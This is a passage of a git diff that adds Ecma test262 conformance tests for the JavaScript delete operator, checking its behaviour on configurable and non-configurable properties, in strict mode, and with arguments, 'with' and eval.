+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4-a-1-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4-a-1-s.js
new file mode 100644
index 000000000..82c586a1f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4-a-1-s.js
@@ -0,0 +1,28 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-4-a-1-s.js
+ * @description Strict Mode - TypeError is thrown when deleting non-configurable data property
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.defineProperty(obj, "prop", {
+ value: "abc",
+ configurable: false
+ });
+
+ try {
+ delete obj.prop;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError && obj.prop === "abc";
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4-a-2-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4-a-2-s.js
new file mode 100644
index 000000000..135f01295
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4-a-2-s.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-4-a-2-s.js
+ * @description Strict Mode - TypeError is thrown when deleting non-configurable accessor property
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.defineProperty(obj, "prop", {
+ get: function () {
+ return "abc";
+ },
+ configurable: false
+ });
+
+ try {
+ delete obj.prop;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError && obj.prop === "abc";
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4-a-3-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4-a-3-s.js
new file mode 100644
index 000000000..85bc8b2d7
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4-a-3-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-4-a-3-s.js
+ * @description Strict Mode - TypeError isn't thrown when deleting configurable data property
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.defineProperty(obj, "prop", {
+ value: "abc",
+ configurable: true
+ });
+
+ delete obj.prop;
+ return !obj.hasOwnProperty("prop");
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4-a-4-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4-a-4-s.js
new file mode 100644
index 000000000..6ce81cfbc
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4-a-4-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-4-a-4-s.js
+ * @description Strict Mode - TypeError isn't thrown when deleting configurable accessor property
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.defineProperty(obj, "prop", {
+ get: function () {
+ return "abc";
+ },
+ configurable: true
+ });
+
+ delete obj.prop;
+ return !obj.hasOwnProperty("prop");
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-1.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-1.js
new file mode 100644
index 000000000..0ed36af96
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-1.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * This test is actually testing the [[Delete]] internal method (8.12.8). Since the
+ * language provides no way to directly exercise [[Delete]], the tests are placed here.
+ *
+ * @path ch11/11.4/11.4.1/11.4.1-4.a-1.js
+ * @description delete operator returns true when deleting a configurable data property
+ */
+
+
+function testcase() {
+ var o = {};
+
+ var desc = { value: 1, configurable: true };
+ Object.defineProperty(o, "foo", desc);
+
+ var d = delete o.foo;
+ if (d === true && o.hasOwnProperty("foo") === false) {
+ return true;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-10.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-10.js
new file mode 100644
index 000000000..7a515d725
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-10.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * This test is actually testing the [[Delete]] internal method (8.12.8). Since the
+ * language provides no way to directly exercise [[Delete]], the tests are placed here.
+ *
+ * @path ch11/11.4/11.4.1/11.4.1-4.a-10.js
+ * @description delete operator returns true for property (stringify) defined on built-in object (JSON)
+ */
+
+
+function testcase() {
+ try {
+ var o = JSON.stringify;
+ var desc;
+ try {
+ desc = Object.getOwnPropertyDescriptor(JSON, 'stringify')
+ }
+ catch (e) {
+ };
+ var d = delete JSON.stringify;
+ if (d === true && JSON.stringify === undefined) {
+ return true;
+ }
+ } finally {
+ if (desc) Object.defineProperty(JSON, 'stringify', desc)
+ else JSON.stringify = o /* this branch messes up the attributes */;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-11.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-11.js
new file mode 100644
index 000000000..b46af9f74
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-11.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * This test is actually testing the [[Delete]] internal method (8.12.8). Since the
+ * language provides no way to directly exercise [[Delete]], the tests are placed here.
+ *
+ * @path ch11/11.4/11.4.1/11.4.1-4.a-11.js
+ * @description delete operator returns true on deleting arguments propterties(arguments.callee)
+ */
+
+
+function testcase() {
+ function foo(a,b)
+ {
+ return (delete arguments.callee);
+ }
+ var d = delete arguments.callee;
+ if(d === true && arguments.callee === undefined)
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-12.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-12.js
new file mode 100644
index 000000000..5cc30983c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-12.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * This test is actually testing the [[Delete]] internal method (8.12.8). Since the
+ * language provides no way to directly exercise [[Delete]], the tests are placed here.
+ *
+ * @path ch11/11.4/11.4.1/11.4.1-4.a-12.js
+ * @description delete operator returns false when deleting a property(length)
+ */
+
+
+function testcase() {
+
+ var a = [1,2,3]
+ a.x = 10;
+ var d = delete a.length
+ if(d === false && a.length === 3)
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-13.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-13.js
new file mode 100644
index 000000000..5156957ed
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-13.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * This test is actually testing the [[Delete]] internal method (8.12.8). Since the
+ * language provides no way to directly exercise [[Delete]], the tests are placed here.
+ *
+ * @path ch11/11.4/11.4.1/11.4.1-4.a-13.js
+ * @description delete operator returns false when deleting Array object
+ */
+
+
+function testcase() {
+
+ var a = [1,2,3]
+ a.x = 10;
+
+ var d = delete a
+
+ if(d === false && Array.isArray(a) === true)
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-14.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-14.js
new file mode 100644
index 000000000..288d25ec0
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-14.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * This test is actually testing the [[Delete]] internal method (8.12.8). Since the
+ * language provides no way to directly exercise [[Delete]], the tests are placed here.
+ *
+ * @path ch11/11.4/11.4.1/11.4.1-4.a-14.js
+ * @description delete operator returns true when deleting Array elements
+ */
+
+
+function testcase() {
+
+ var a = [1,2,3]
+ a.x = 10;
+ var d = delete a[1]
+ if(d === true && a[1] === undefined)
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-15.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-15.js
new file mode 100644
index 000000000..98a6d6c08
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-15.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * This test is actually testing the [[Delete]] internal method (8.12.8). Since the
+ * language provides no way to directly exercise [[Delete]], the tests are placed here.
+ *
+ * @path ch11/11.4/11.4.1/11.4.1-4.a-15.js
+ * @description delete operator returns true when deleting Array expandos
+ */
+
+
+function testcase() {
+
+ var a = [1,2,3]
+ a.x = 10;
+ var d = delete a.x;
+ if( d === true && a.x === undefined)
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-16.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-16.js
new file mode 100644
index 000000000..01873811f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-16.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * This test is actually testing the [[Delete]] internal method (8.12.8). Since the
+ * language provides no way to directly exercise [[Delete]], the tests are placed here.
+ *
+ * @path ch11/11.4/11.4.1/11.4.1-4.a-16.js
+ * @description delete operator returns false on deleting arguments object
+ */
+
+
+function testcase() {
+
+ if(delete arguments === false && arguments !== undefined)
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-17.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-17.js
new file mode 100644
index 000000000..97f0e0ab9
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-17.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * This test is actually testing the [[Delete]] internal method (8.12.8). Since the
+ * language provides no way to directly exercise [[Delete]], the tests are placed here.
+ *
+ * @path ch11/11.4/11.4.1/11.4.1-4.a-17.js
+ * @description delete operator returns true on deleting a arguments element
+ */
+
+
+function testcase() {
+ function foo(a,b)
+ {
+ var d = delete arguments[0];
+ return (d === true && arguments[0] === undefined);
+ }
+
+ if(foo(1,2) === true)
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-2.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-2.js
new file mode 100644
index 000000000..be165f1f1
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-2.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * This test is actually testing the [[Delete]] internal method (8.12.8). Since the
+ * language provides no way to directly exercise [[Delete]], the tests are placed here.
+ *
+ * @path ch11/11.4/11.4.1/11.4.1-4.a-2.js
+ * @description delete operator returns true when deleting a configurable accessor property
+ */
+
+
+function testcase() {
+ var o = {};
+
+ // define an accessor
+ // dummy getter
+ var getter = function () { return 1; }
+ var desc = { get: getter, configurable: true };
+ Object.defineProperty(o, "foo", desc);
+
+ var d = delete o.foo;
+ if (d === true && o.hasOwnProperty("foo") === false) {
+ return true;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-3-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-3-s.js
new file mode 100644
index 000000000..85e5c23db
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-3-s.js
@@ -0,0 +1,32 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * This test is actually testing the [[Delete]] internal method (8.12.8). Since the
+ * language provides no way to directly exercise [[Delete]], the tests are placed here.
+ *
+ * @path ch11/11.4/11.4.1/11.4.1-4.a-3-s.js
+ * @description delete operator throws TypeError when deleting a non-configurable data property in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ 'use strict';
+
+ var o = {};
+ var desc = { value : 1 }; // all other attributes default to false
+ Object.defineProperty(o, "foo", desc);
+
+ // Now, deleting o.foo should throw TypeError because [[Configurable]] on foo is false.
+ try {
+ delete o.foo;
+ return false;
+ }
+ catch (e) {
+ return (e instanceof TypeError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-3.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-3.js
new file mode 100644
index 000000000..25f9bc7d0
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-3.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * This test is actually testing the [[Delete]] internal method (8.12.8). Since the
+ * language provides no way to directly exercise [[Delete]], the tests are placed here.
+ *
+ * @path ch11/11.4/11.4.1/11.4.1-4.a-3.js
+ * @description delete operator returns false when deleting a non-configurable data property
+ */
+
+
+function testcase() {
+ var o = {};
+ var desc = { value : 1, configurable: false }; // all other attributes default to false
+ Object.defineProperty(o, "foo", desc);
+
+ // Now, deleting o.foo should fail because [[Configurable]] on foo is false.
+ var d = delete o.foo;
+ if (d === false && o.hasOwnProperty("foo") === true) {
+ return true;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-4.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-4.js
new file mode 100644
index 000000000..98f2496f9
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-4.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * This test is actually testing the [[Delete]] internal method (8.12.8). Since the
+ * language provides no way to directly exercise [[Delete]], the tests are placed here.
+ *
+ * @path ch11/11.4/11.4.1/11.4.1-4.a-4.js
+ * @description delete operator returns false when deleting a non-configurable data property (NaN)
+ */
+
+
+function testcase() {
+ // NaN (15.1.1.1) has [[Configurable]] set to false.
+ var d = delete NaN;
+ if (d === false) {
+ return true;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-5.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-5.js
new file mode 100644
index 000000000..0585bb3c4
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-5.js
@@ -0,0 +1,28 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * This test is actually testing the [[Delete]] internal method (8.12.8). Since the
+ * language provides no way to directly exercise [[Delete]], the tests are placed here.
+ *
+ * @path ch11/11.4/11.4.1/11.4.1-4.a-5.js
+ * @description delete operator returns false when deleting the environment object inside 'with'
+ */
+
+
+function testcase() {
+ var o = new Object();
+ o.x = 1;
+ var d;
+ with(o)
+ {
+ d = delete o;
+ }
+ if (d === false && typeof(o) === 'object' && o.x === 1) {
+ return true;
+ }
+ return false;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-6.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-6.js
new file mode 100644
index 000000000..a5194837f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-6.js
@@ -0,0 +1,27 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * This test is actually testing the [[Delete]] internal method (8.12.8). Since the
+ * language provides no way to directly exercise [[Delete]], the tests are placed here.
+ *
+ * @path ch11/11.4/11.4.1/11.4.1-4.a-6.js
+ * @description delete operator returns true when deleting a property inside 'with'
+ */
+
+
+function testcase() {
+ var o = new Object();
+ o.x = 1;
+ var d;
+ with(o)
+ {
+ d = delete x;
+ }
+ if (d === true && o.x === undefined) {
+ return true;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-7.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-7.js
new file mode 100644
index 000000000..85bbe995d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-7.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * This test is actually testing the [[Delete]] internal method (8.12.8). Since the
+ * language provides no way to directly exercise [[Delete]], the tests are placed here.
+ *
+ * @path ch11/11.4/11.4.1/11.4.1-4.a-7.js
+ * @description delete operator inside 'eval'
+ */
+
+
+function testcase() {
+ var x = 1;
+ var d = eval("delete x");
+ if (d === false && x === 1) {
+ return true;
+ }
+ return false;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-8-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-8-s.js
new file mode 100644
index 000000000..c73f8d833
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-8-s.js
@@ -0,0 +1,28 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * This test is actually testing the [[Delete]] internal method (8.12.8). Since the
+ * language provides no way to directly exercise [[Delete]], the tests are placed here.
+ *
+ * @path ch11/11.4/11.4.1/11.4.1-4.a-8-s.js
+ * @description delete operator throws TypeError when deleting a non-configurable data property in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ 'use strict';
+
+ // NaN (15.1.1.1) has [[Configurable]] set to false.
+ try {
+ delete fnGlobalObject().NaN;
+ return false;
+ }
+ catch (e) {
+ return (e instanceof TypeError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-8.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-8.js
new file mode 100644
index 000000000..0d6da1a80
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-8.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * This test is actually testing the [[Delete]] internal method (8.12.8). Since the
+ * language provides no way to directly exercise [[Delete]], the tests are placed here.
+ *
+ * @path ch11/11.4/11.4.1/11.4.1-4.a-8.js
+ * @description delete operator returns true for built-in objects (JSON)
+ */
+
+
+function testcase() {
+ try {
+ var o = JSON;
+ var d = delete JSON;
+ if (d === true) {
+ return true;
+ }
+ } finally {
+ JSON = o;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-9-s.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-9-s.js
new file mode 100644
index 000000000..da7a464ba
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-9-s.js
@@ -0,0 +1,27 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * This test is actually testing the [[Delete]] internal method (8.12.8). Since the
+ * language provides no way to directly exercise [[Delete]], the tests are placed here.
+ *
+ * @path ch11/11.4/11.4.1/11.4.1-4.a-9-s.js
+ * @description delete operator throws TypeError when deleting a non-configurable data property (Math.LN2) in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ 'use strict';
+
+ try {
+ delete Math.LN2;
+ return false;
+ }
+ catch (e) {
+ return (e instanceof TypeError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-9.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-9.js
new file mode 100644
index 000000000..472fdc0c8
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-4.a-9.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * This test is actually testing the [[Delete]] internal method (8.12.8). Since the
+ * language provides no way to directly exercise [[Delete]], the tests are placed here.
+ *
+ * @path ch11/11.4/11.4.1/11.4.1-4.a-9.js
+ * @description delete operator returns false when deleting a non-configurable data property (Math.LN2)
+ */
+
+
+function testcase() {
+ var d = delete Math.LN2;
+ if (d === false) {
+ return true;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-1.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-1.js
new file mode 100644
index 000000000..c4de1ba6f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-1.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-5-1.js
+ * @description delete operator returns false when deleting a direct reference to a var
+ */
+
+
+function testcase() {
+ var x = 1;
+
+ // Now, deleting 'x' directly should fail;
+ var d = delete x;
+ if(d === false && x === 1)
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-2.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-2.js
new file mode 100644
index 000000000..838b653b1
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-2.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-5-2.js
+ * @description delete operator returns false when deleting a direct reference to a function argument
+ */
+
+
+function testcase() {
+
+ function foo(a,b) {
+
+ // Now, deleting 'a' directly should fail
+ // because 'a' is direct reference to a function argument;
+ var d = delete a;
+ return (d === false && a === 1);
+ }
+ return foo(1,2);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-3.js b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-3.js
new file mode 100644
index 000000000..33efcdb3e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.1/11.4.1-5-3.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.1/11.4.1-5-3.js
+ * @description delete operator returns false when deleting a direct reference to a function name
+ */
+
+
+function testcase() {
+ var foo = function(){};
+
+ // Now, deleting 'foo' directly should fail;
+ var d = delete foo;
+ if(d === false && fnExists(foo))
+ return true;
+ }
+runTestCase(testcase);
